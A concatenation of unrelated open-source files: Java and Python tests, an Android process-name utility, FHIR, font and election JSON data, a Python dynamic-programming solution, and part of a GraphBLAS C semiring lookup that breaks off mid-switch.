assertFalse (Util.isIPv6(IPT_4));
if (Util.isIP(IPT_4))
Log.d(TAG, "isIP test failed on "+ IPT_4);
assertFalse (Util.isIP(IPT_4));
}
}
| 2,418 |
648 | <reponame>swrobel/fhir
{"resourceType":"StructureDefinition","id":"de-Address.type","meta":{"lastUpdated":"2018-12-27T22:37:54.724+11:00"},"url":"http://hl7.org/fhir/StructureDefinition/de-Address.type","version":"4.0.0","name":"Address.type","title":"Address.type","status":"draft","experimental":true,"date":"2018-12-27T22:37:54+11:00","publisher":"HL7 FHIR Standard","contact":[{"telecom":[{"system":"url","value":"http://hl7.org/fhir"}]}],"description":"Data Element for Address.type","purpose":"Data Elements are defined for each element to assist in questionnaire construction etc","fhirVersion":"4.0.0","mapping":[{"identity":"v2","uri":"http://hl7.org/v2","name":"HL7 v2 Mapping"},{"identity":"rim","uri":"http://hl7.org/v3","name":"RIM Mapping"},{"identity":"servd","uri":"http://www.omg.org/spec/ServD/1.0/","name":"ServD"},{"identity":"vcard","uri":"http://w3.org/vcard","name":"vCard Mapping"}],"kind":"logical","abstract":false,"type":"Address.type","baseDefinition":"http://hl7.org/fhir/StructureDefinition/Element","derivation":"specialization","snapshot":{"element":[{"id":"Address.type","path":"Address.type","short":"postal | physical | both","definition":"Distinguishes between physical addresses (those you can visit) and mailing addresses (e.g. PO Boxes and care-of addresses). Most addresses are both.","comment":"The definition of Address states that \"address is intended to describe postal addresses, not physical locations\". However, many applications track whether an address has a dual purpose of being a location that can be visited as well as being a valid delivery destination, and Postal addresses are often used as proxies for physical locations (also see the [Location](location.html#) resource).","min":0,"max":"1","base":{"path":"Address.type","min":0,"max":"1"},"type":[{"code":"code"}],"example":[{"label":"General","valueCode":"both"}],"isModifier":false,"isSummary":true,"binding":{"extension":[{"url":"http://hl7.org/fhir/StructureDefinition/elementdefinition-bindingName","valueString":"AddressType"}],"strength":"required","description":"The type of an address (physical / postal).","valueSet":"http://hl7.org/fhir/ValueSet/address-type|4.0.0"},"mapping":[{"identity":"v2","map":"XAD.18"},{"identity":"rim","map":"unique(./use)"},{"identity":"vcard","map":"address type parameter"}]}]}} | 659 |
730 | <filename>SdkLibrary/src/org/qiyi/pluginlibrary/utils/ProcessUtils.java
/*
*
* Copyright 2018 iQIYI.com
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.qiyi.pluginlibrary.utils;
import android.app.ActivityManager;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.os.Process;
import android.text.TextUtils;
import java.io.BufferedReader;
import java.io.FileReader;
import java.util.Locale;
public class ProcessUtils {
/* 是否主进程 */
private static Boolean sIsMainProcess;
/* 当前进程名 */
private static String currentProcessName = null;
public static boolean isMainProcess(Context context) {
if (sIsMainProcess == null) {
String mainProcess = null;
ApplicationInfo appInfo = context.getApplicationInfo();
if (appInfo != null) {
mainProcess = appInfo.processName;
}
if (TextUtils.isEmpty(mainProcess)) {
mainProcess = context.getPackageName();
}
String curProcessName = getCurrentProcessName(context);
sIsMainProcess = TextUtils.equals(curProcessName, mainProcess);
}
return sIsMainProcess;
}
public static String getCurrentProcessName(Context context) {
if (!TextUtils.isEmpty(currentProcessName)) {
return currentProcessName;
}
int pid = android.os.Process.myPid();
ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
try {
for (ActivityManager.RunningAppProcessInfo process : manager.getRunningAppProcesses()) {
if (process.pid == pid) {
return process.processName;
}
}
} catch (Exception e) {
// ActivityManager.getRunningAppProcesses() may throw NPE in some custom-made devices (oem BIRD)
}
// try to read process name in /proc/pid/cmdline if no result from activity manager
String cmdline = null;
BufferedReader processFileReader = null;
FileReader fileReader = null;
try {
fileReader = new FileReader(String.format(Locale.getDefault(), "/proc/%d/cmdline", Process.myPid()));
processFileReader = new BufferedReader(fileReader);
cmdline = processFileReader.readLine().trim();
} catch (Exception ex) {
ex.printStackTrace();
} finally {
FileUtils.closeQuietly(processFileReader);
FileUtils.closeQuietly(fileReader);
}
return cmdline;
}
}
| 1,220 |
513 | package com.zmops.iot.web.event.applicationEvent;
import com.zmops.iot.web.event.applicationEvent.dto.SceneEventData;
/**
* @author yefei
**/
public class SceneEvent extends BaseEvent<SceneEventData> {
public SceneEvent(Object source, SceneEventData eventData) {
super(source, eventData);
}
}
| 109 |
5,422 | <gh_stars>1000+
# coding: utf-8
#
# Copyright 2021 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Unit tests for core.domain.beam_job_services."""
from __future__ import annotations
import itertools
from core import python_utils
from core.domain import beam_job_domain
from core.domain import beam_job_services
from core.jobs import base_jobs
from core.jobs import jobs_manager
from core.jobs import registry as jobs_registry
from core.platform import models
from core.tests import test_utils
import apache_beam as beam
from typing import List, Optional
MYPY = False
if MYPY: # pragma: no cover
from mypy_imports import beam_job_models
(beam_job_models,) = models.Registry.import_models([models.NAMES.beam_job])
class NoOpJob(base_jobs.JobBase):
"""Simple job that returns an empty PCollection."""
def run(self) -> beam.PCollection:
return beam.Create([])
class BeamJobServicesTests(test_utils.TestBase):
def test_gets_jobs_from_registry(self) -> None:
beam_jobs = beam_job_services.get_beam_jobs()
self.assertItemsEqual( # type: ignore[no-untyped-call]
[j.name for j in beam_jobs], jobs_registry.get_all_job_names())
class BeamJobRunServicesTests(test_utils.GenericTestBase):
def setUp(self) -> None:
super(BeamJobRunServicesTests, self).setUp()
self._id_iter = (str(i) for i in itertools.count())
def create_beam_job_run_model(
self, dataflow_job_id: str = 'abc',
job_id: Optional[str] = None,
job_name: str = 'FooJob',
job_state: str = beam_job_models.BeamJobState.RUNNING.value
) -> beam_job_models.BeamJobRunModel:
"""Returns a new BeamJobRunModel with convenient default values.
Args:
dataflow_job_id: str|None. The ID of the dataflow job corresponding
to the BeamJobRun. When this value is None, that signals that
the job has been run synchronously (like a function call), and
cannot be polled for updates.
job_id: str|None. The ID of the job. If None, a value is generated.
job_name: str. The name of the job class that implements the
job's logic.
job_state: str. The state of the job at the time the model was last
updated.
Returns:
BeamJobRunModel. The new model.
"""
if job_id is None:
job_id = next(self._id_iter)
return beam_job_models.BeamJobRunModel(
id=job_id, dataflow_job_id=dataflow_job_id, job_name=job_name,
latest_job_state=job_state)
def assert_domains_equal_models(
self,
beam_job_runs: List[beam_job_domain.BeamJobRun],
beam_job_run_models: List[beam_job_models.BeamJobRunModel]
) -> None:
"""Asserts that the domain objects have the same values as the models.
Args:
beam_job_runs: list(BeamJobRun). The domain objects.
beam_job_run_models: list(BeamJobRunModel). The models.
Raises:
AssertionError. At least one domain object and model pair has at
least one difference.
"""
self.assertEqual(len(beam_job_runs), len(beam_job_run_models))
runs = sorted(beam_job_runs, key=lambda j: j.job_id)
# The key for sorting is defined separately because of a mypy bug.
# A [no-any-return] is thrown if key is defined in the sort() method
# instead. Reference: https://github.com/python/mypy/issues/9590.
by_id = lambda model: model.id
run_models = sorted(beam_job_run_models, key=by_id)
for i, (run, model) in enumerate(python_utils.ZIP(runs, run_models)):
with self.subTest('i=%d' % i):
self.assertEqual(run.job_id, model.id)
self.assertEqual(run.job_name, model.job_name)
self.assertEqual(run.job_state, model.latest_job_state)
self.assertEqual(run.job_started_on, model.created_on)
self.assertEqual(run.job_updated_on, model.last_updated)
self.assertEqual(
run.job_is_synchronous, model.dataflow_job_id is None)
def test_run_beam_job_using_job_name(self) -> None:
model = beam_job_services.create_beam_job_run_model('NoOpJob')
with self.swap_to_always_return(jobs_manager, 'run_job', value=model):
run = beam_job_services.run_beam_job(job_name='NoOpJob')
self.assertEqual(
beam_job_services.get_beam_job_run_from_model(model).to_dict(),
run.to_dict())
def test_run_beam_job_using_job_class(self) -> None:
model = beam_job_services.create_beam_job_run_model('NoOpJob')
with self.swap_to_always_return(jobs_manager, 'run_job', value=model):
run = beam_job_services.run_beam_job(job_class=NoOpJob)
self.assertEqual(
beam_job_services.get_beam_job_run_from_model(model).to_dict(),
run.to_dict())
def test_run_beam_job_without_args_raises_an_exception(self) -> None:
with self.assertRaisesRegexp(ValueError, 'Must specify the job'): # type: ignore[no-untyped-call]
beam_job_services.run_beam_job()
def test_cancel_beam_job(self) -> None:
model = beam_job_services.create_beam_job_run_model(
'NoOpJob', dataflow_job_id='123')
model.put()
with self.swap_to_always_return(jobs_manager, 'cancel_job'):
run = beam_job_services.cancel_beam_job(model.id)
self.assertEquals(
run.to_dict(),
beam_job_services.get_beam_job_run_from_model(model).to_dict())
def test_cancel_beam_job_which_does_not_exist_raises_an_error(self) -> None:
with self.swap_to_always_return(jobs_manager, 'cancel_job'):
self.assertRaisesRegexp( # type: ignore[no-untyped-call]
ValueError, 'No such job',
lambda: beam_job_services.cancel_beam_job('123'))
def test_cancel_beam_job_which_has_no_dataflow_job_id_raises_an_error(
self
) -> None:
model = beam_job_services.create_beam_job_run_model(
'NoOpJob', dataflow_job_id=None)
model.put()
with self.swap_to_always_return(jobs_manager, 'cancel_job'):
self.assertRaisesRegexp( # type: ignore[no-untyped-call]
ValueError, 'cannot be cancelled',
lambda: beam_job_services.cancel_beam_job(model.id))
def test_get_beam_job_runs(self) -> None:
beam_job_run_models = [
self.create_beam_job_run_model(
job_state=beam_job_models.BeamJobState.DONE.value),
self.create_beam_job_run_model(
job_state=beam_job_models.BeamJobState.RUNNING.value),
self.create_beam_job_run_model(
job_state=beam_job_models.BeamJobState.CANCELLED.value),
]
beam_job_models.BeamJobRunModel.update_timestamps_multi(
beam_job_run_models)
beam_job_models.BeamJobRunModel.put_multi(beam_job_run_models)
self.assert_domains_equal_models(
beam_job_services.get_beam_job_runs(refresh=False),
beam_job_run_models)
def test_get_beam_job_runs_with_refresh(self) -> None:
beam_job_run_models = [
self.create_beam_job_run_model(
job_state=beam_job_models.BeamJobState.DONE.value),
self.create_beam_job_run_model(
job_state=beam_job_models.BeamJobState.RUNNING.value),
self.create_beam_job_run_model(
job_state=beam_job_models.BeamJobState.CANCELLED.value),
]
beam_job_models.BeamJobRunModel.update_timestamps_multi(
beam_job_run_models)
beam_job_models.BeamJobRunModel.put_multi(beam_job_run_models)
with self.swap_to_always_return(
jobs_manager, 'refresh_state_of_beam_job_run_model'):
self.assert_domains_equal_models(
beam_job_services.get_beam_job_runs(refresh=True),
beam_job_run_models)
def test_create_beam_job_run_model(self) -> None:
model = beam_job_services.create_beam_job_run_model(
'FooJob', dataflow_job_id='123')
model.put()
all_runs = beam_job_services.get_beam_job_runs(refresh=False)
self.assertEqual(len(all_runs), 1)
run = all_runs[0]
self.assertEqual(run.job_name, 'FooJob')
self.assertFalse(run.job_is_synchronous)
def test_create_beam_job_run_result_model(self) -> None:
model = beam_job_services.create_beam_job_run_result_model(
'123', 'abc', '123')
model.put()
result = beam_job_services.get_beam_job_run_result('123')
self.assertEqual(result.stdout, 'abc')
self.assertEqual(result.stderr, '123')
class GetBeamJobRunResultTests(test_utils.GenericTestBase):
def test_get_beam_run_result(self) -> None:
beam_job_models.BeamJobRunResultModel(
job_id='123', stdout='abc', stderr='def').put()
beam_job_run_result = beam_job_services.get_beam_job_run_result('123')
self.assertEqual(beam_job_run_result.stdout, 'abc')
self.assertEqual(beam_job_run_result.stderr, 'def')
def test_get_beam_run_result_with_no_results(self) -> None:
beam_job_run_result = beam_job_services.get_beam_job_run_result('123')
self.assertEqual(beam_job_run_result.stdout, '')
self.assertEqual(beam_job_run_result.stderr, '')
def test_get_beam_run_result_with_result_batches(self) -> None:
beam_job_models.BeamJobRunResultModel(job_id='123', stdout='abc').put()
beam_job_models.BeamJobRunResultModel(job_id='123', stderr='123').put()
beam_job_models.BeamJobRunResultModel(
job_id='123', stdout='def', stderr='456').put()
beam_job_run_result = beam_job_services.get_beam_job_run_result('123')
self.assertItemsEqual( # type: ignore[no-untyped-call]
beam_job_run_result.stdout.split('\n'), ['abc', 'def'])
self.assertItemsEqual( # type: ignore[no-untyped-call]
beam_job_run_result.stderr.split('\n'), ['123', '456'])
| 4,803 |
8,633 | import pytest
pytest.importorskip("airtable")
| 17 |
348 | <filename>docs/data/leg-t2/057/05705108.json
{"nom":"Breidenbach","circ":"5ème circonscription","dpt":"Moselle","inscrits":241,"abs":114,"votants":127,"blancs":5,"nuls":0,"exp":122,"res":[{"nuance":"REM","nom":"<NAME>","voix":69},{"nuance":"LR","nom":"<NAME>","voix":53}]} | 110 |
513 | {
"family": "BioRhyme Expanded",
"variants": ["200", "300", "regular", "700", "800"],
"subsets": ["latin", "latin-ext"],
"version": "v8",
"lastModified": "2021-03-19",
"files": {
"200": "http://fonts.gstatic.com/s/biorhymeexpanded/v8/i7dVIE1zZzytGswgU577CDY9LjbffxxcblSHSdTXrb_z.ttf",
"300": "http://fonts.gstatic.com/s/biorhymeexpanded/v8/i7dVIE1zZzytGswgU577CDY9Ljbffxw4bVSHSdTXrb_z.ttf",
"700": "http://fonts.gstatic.com/s/biorhymeexpanded/v8/i7dVIE1zZzytGswgU577CDY9LjbffxwoalSHSdTXrb_z.ttf",
"800": "http://fonts.gstatic.com/s/biorhymeexpanded/v8/i7dVIE1zZzytGswgU577CDY9Ljbffxw0aVSHSdTXrb_z.ttf",
"regular": "http://fonts.gstatic.com/s/biorhymeexpanded/v8/i7dQIE1zZzytGswgU577CDY9LjbffySURXCPYsje.ttf"
},
"category": "serif",
"kind": "webfonts#webfont"
}
| 439 |
3,269 | <gh_stars>1000+
# Time: O(s + n * k), n is the number of the word_lens
# Space: O(k)
class Solution(object):
def minimumCost(self, sentence, k):
"""
:type sentence: str
:type k: int
:rtype: int
"""
def lens(sentence):
j = len(sentence)-1
for i in reversed(xrange(-1, len(sentence))):
if i == -1 or sentence[i] == ' ':
yield j-i
j = i-1
word_lens, dp = [], [] # dp[i]: min cost of word_lens[-1-i:]
t = -1
for l in lens(sentence):
word_lens.append(l)
dp.append(float("inf"))
t += l+1
if t <= k:
dp[-1] = 0
continue
total = l
for j in reversed(xrange(len(dp)-1)):
dp[-1] = min(dp[-1], dp[j] + (k-total)**2)
total += (word_lens[j]+1)
if total > k:
word_lens = word_lens[j:] # minimize len(word_lens) s.t. sum(word_lens) > k
dp = dp[j:]
break
return dp[-1] if dp else 0
# Time: O(s + n * k), n is the number of the word_lens
# Space: O(n)
class Solution2(object):
def minimumCost(self, sentence, k):
"""
:type sentence: str
:type k: int
:rtype: int
"""
word_lens = []
j = 0
for i in xrange(len(sentence)+1):
if i != len(sentence) and sentence[i] != ' ':
continue
word_lens.append(i-j)
j = i+1
dp = [float("inf")]*(len(word_lens)) # dp[i]: min cost of word_lens[i:]
i, total = len(word_lens)-1, -1
while i >= 0 and total + (word_lens[i]+1) <= k: # find max i s.t. the length of the last line > k
total += (word_lens[i]+1)
dp[i] = 0
i -= 1
for i in reversed(xrange(i+1)):
total = word_lens[i]
for j in xrange(i+1, len(dp)):
dp[i] = min(dp[i], dp[j] + (k-total)**2)
total += (word_lens[j]+1)
if total > k:
break
return dp[0]
# Time: O(s + n * k), n is the number of the word_lens
# Space: O(n)
class Solution3(object):
def minimumCost(self, sentence, k):
"""
:type sentence: str
:type k: int
:rtype: int
"""
word_lens = []
j = 0
for i in xrange(len(sentence)+1):
if i != len(sentence) and sentence[i] != ' ':
continue
word_lens.append(i-j)
j = i+1
dp = [float("inf")]*(1+(len(word_lens)-1)) # dp[i]: min cost of the first i word_lens where i in [0, len(words)-1]
dp[0] = 0
for i in xrange(1, (len(word_lens)-1)+1):
total = word_lens[i-1]
for j in reversed(xrange(i)):
dp[i] = min(dp[i], dp[j] + (k-total)**2)
if j-1 < 0:
continue
total += (word_lens[j-1]+1)
if total > k:
break
i, total = len(word_lens)-1, -1
while i >= 0 and total + (word_lens[i]+1) <= k: # find max i s.t. the length of the last line > k
total += (word_lens[i]+1)
i -= 1
return min(dp[j] for j in xrange(i+1, len(dp)))
| 1,991 |
988 | <filename>deps/GraphBLAS/GraphBLAS/@GrB/private/util/gb_semiring.c
//------------------------------------------------------------------------------
// gb_semiring: get a built-in semiring from an add and multiply operator
//------------------------------------------------------------------------------
// SuiteSparse:GraphBLAS, <NAME>, (c) 2017-2021, All Rights Reserved.
// SPDX-License-Identifier: GPL-3.0-or-later
//------------------------------------------------------------------------------
#include "gb_interface.h"
#include "GB_binop.h"
//------------------------------------------------------------------------------
// built-in semirings
//------------------------------------------------------------------------------
// Using built-in types and operators, many unique semirings can be built. Not
// all possible semirings that can be constructed from built-in types and
// operators are pre-defined. Below is a list of the 1553 pre-defined
// semirings.
// 1000 semirings with a multiply operator TxT -> T where T is non-Boolean, from
// the complete cross product of:
// 5 add monoids (MIN, MAX, PLUS, TIMES, ANY)
// 20 multiply operators:
// FIRST, SECOND, PAIR, MIN, MAX, PLUS, MINUS, RMINUS, TIMES, DIV, RDIV,
// ISEQ, ISNE, ISGT, ISLT, ISGE, ISLE,
// LOR, LAND, LXOR
// 10 non-Boolean types, T
// 300 semirings with a comparator TxT -> bool, where T is
// non-Boolean, from the complete cross product of:
// 5 Boolean add monoids: (LAND, LOR, LXOR, EQ, ANY)
// 6 multiply operators: (EQ, NE, GT, LT, GE, LE)
// 10 non-Boolean types, T
// 55 semirings with purely Boolean types, bool x bool -> bool, from the
// complete cross product of:
// 5 Boolean add monoids (LAND, LOR, LXOR, EQ, ANY)
// 11 multiply operators:
// FIRST, SECOND, PAIR, LOR, LAND, LXOR, EQ, GT, LT, GE, LE
// 54 complex semirings: TxT -> T where T is float complex or double complex:
// 3 complex monoids: PLUS, TIMES, ANY
// 2 complex types
// 9 complex multiply operators:
// FIRST, SECOND, PAIR, PLUS, MINUS, TIMES, DIV, RDIV, RMINUS
// 64 bitwise semirings: TxT -> T where T is an unsigned integer:
// 4 bitwise monoids: BOR, BAND, BXOR, BXNOR
// 4 bitwise multiply operators: BOR, BAND, BXOR, BXNOR
// 4 unsigned integer types: UINT8, UINT16, UINT32, UINT64
// 80 positional semirings: TxT -> T where T is int64:
// 5 monoids: MIN, MAX, PLUS, TIMES, ANY
// 8 multiply operators:
// FIRSTI, FIRSTI1, FIRSTJ, FIRSTJ1,
// SECONDI, SECONDI1, SECONDJ, SECONDJ1
// 2 type: int32, int64
//
// Note that FIRSTJ and SECONDI are identical when used in a semiring,
// as the mult operator. Likewise for FIRSTJ1 and SECONDI1.
// In the names below, each semiring has a name of the form GxB_add_mult_T
// where add is the additive monoid, mult is the multiply operator, and T is
// the type. The type T is always the type of x and y for the z=mult(x,y)
// operator. The monoid's three types and the ztype of the mult operator are
// always the same. This is the type T for the first set, and Boolean for
// the second and third sets of semirings.
// All 124 predefined semirings in the v1.3 spec are used below, in place of
// the older, equivalent, GxB* named semirings.
//------------------------------------------------------------------------------
GrB_Semiring gb_semiring // built-in semiring, or NULL if error
(
const GrB_BinaryOp add, // add operator
const GrB_BinaryOp mult // multiply operator
)
{
//--------------------------------------------------------------------------
// check inputs
//--------------------------------------------------------------------------
CHECK_ERROR (add == NULL || mult == NULL,
"invalid semiring (add or mult missing)") ;
GB_Opcode add_binop_code = add->opcode ; // add opcode
GB_Opcode mult_binop_code = mult->opcode ; // multiply opcode
// add must be a monoid
CHECK_ERROR (add->xtype != add->ztype,
"invalid semiring (add operator not a monoid)") ;
CHECK_ERROR (add->ytype != add->ztype,
"invalid semiring (add operator not a monoid)") ;
// the type of add must match the mult->ztype
CHECK_ERROR (add->ztype != mult->ztype,
"invalid semiring (add opeartor not a monoid)") ;
// The conditions above are true for any semiring and any A and B, whether
// or not this function handles the semiring as hard-coded. Now return for
// cases this function does not handle. This function handles only
// built-in operators.
CHECK_ERROR (add_binop_code == GB_USER_binop_code,
"invalid semiring (add operator not built-in)") ;
CHECK_ERROR (mult_binop_code == GB_USER_binop_code,
"invalid semiring (multiply operator not built-in)") ;
//--------------------------------------------------------------------------
// rename redundant Boolean multiply operators
//--------------------------------------------------------------------------
GB_Type_code xcode = mult->xtype->code ;
GB_Type_code zcode = mult->ztype->code ;
CHECK_ERROR (xcode >= GB_UDT_code,
"invalid semiring (x and y type not built-in)") ;
CHECK_ERROR (zcode >= GB_UDT_code,
"invalid semiring (z type not built-in)") ;
if (xcode == GB_BOOL_code)
{
// z = mult(x,y) where both x and y are Boolean.
// DIV becomes FIRST
// RDIV becomes SECOND
// MIN and TIMES become LAND
// MAX and PLUS become LOR
// NE, ISNE, MINUS, and RMINUS become LXOR
// ISEQ becomes EQ
// ISGT becomes GT
// ISLT becomes LT
// ISGE becomes GE
// ISLE becomes LE
mult_binop_code = GB_boolean_rename (mult_binop_code) ;
}
if (zcode == GB_BOOL_code)
{
// Only the LAND, LOR, LXOR, and EQ monoids remain if z is
// Boolean. MIN, MAX, PLUS, and TIMES are renamed.
add_binop_code = GB_boolean_rename (add_binop_code) ;
}
//--------------------------------------------------------------------------
// launch the switch factory
//--------------------------------------------------------------------------
if (zcode == GB_FC32_code)
{
//----------------------------------------------------------------------
// 27 single complex semirings
//----------------------------------------------------------------------
switch (mult_binop_code)
{
case GB_FIRST_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_FIRST_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRST_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRST_FC32 ) ;
default : ;
}
break ;
case GB_SECOND_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_SECOND_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECOND_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_SECOND_FC32 ) ;
default : ;
}
break ;
case GB_PAIR_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_PAIR_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_PAIR_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_PAIR_FC32 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_PLUS_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_PLUS_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_PLUS_FC32 ) ;
default : ;
}
break ;
case GB_MINUS_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_MINUS_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_MINUS_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_MINUS_FC32 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_TIMES_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_TIMES_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_TIMES_FC32 ) ;
default : ;
}
break ;
case GB_DIV_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_DIV_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_DIV_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_DIV_FC32 ) ;
default : ;
}
break ;
case GB_RDIV_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_RDIV_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_RDIV_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_RDIV_FC32 ) ;
default : ;
}
break ;
case GB_RMINUS_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_RMINUS_FC32 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_RMINUS_FC32) ;
case GB_ANY_binop_code : return (GxB_ANY_RMINUS_FC32 ) ;
default : ;
}
break ;
default : ;
}
}
else if (zcode == GB_FC64_code)
{
//----------------------------------------------------------------------
// 27 double complex semirings
//----------------------------------------------------------------------
switch (mult_binop_code)
{
case GB_FIRST_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_FIRST_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRST_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRST_FC64 ) ;
default : ;
}
break ;
case GB_SECOND_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_SECOND_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECOND_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_SECOND_FC64 ) ;
default : ;
}
break ;
case GB_PAIR_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_PAIR_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_PAIR_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_PAIR_FC64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_PLUS_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_PLUS_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_PLUS_FC64 ) ;
default : ;
}
break ;
case GB_MINUS_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_MINUS_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_MINUS_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_MINUS_FC64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_TIMES_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_TIMES_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_TIMES_FC64 ) ;
default : ;
}
break ;
case GB_DIV_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_DIV_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_DIV_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_DIV_FC64 ) ;
default : ;
}
break ;
case GB_RDIV_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_RDIV_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_RDIV_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_RDIV_FC64 ) ;
default : ;
}
break ;
case GB_RMINUS_binop_code :
switch (add_binop_code)
{
case GB_PLUS_binop_code : return (GxB_PLUS_RMINUS_FC64 ) ;
case GB_TIMES_binop_code : return (GxB_TIMES_RMINUS_FC64) ;
case GB_ANY_binop_code : return (GxB_ANY_RMINUS_FC64 ) ;
default : ;
}
break ;
default : ;
}
}
else if (zcode != GB_BOOL_code)
{
//----------------------------------------------------------------------
// 1000 semirings with TxT->T multiply operators
//----------------------------------------------------------------------
// x,y,z are all the same non-Boolean type
switch (mult_binop_code)
{
case GB_FIRST_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MIN_FIRST_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MIN_FIRST_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MIN_FIRST_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MIN_FIRST_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MIN_FIRST_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MIN_FIRST_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MIN_FIRST_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MIN_FIRST_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MIN_FIRST_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MIN_FIRST_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MAX_FIRST_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MAX_FIRST_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MAX_FIRST_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MAX_FIRST_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MAX_FIRST_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MAX_FIRST_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MAX_FIRST_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MAX_FIRST_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MAX_FIRST_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MAX_FIRST_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_FIRST_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_FIRST_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_FIRST_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_FIRST_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_FIRST_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_FIRST_UINT32 ) ;
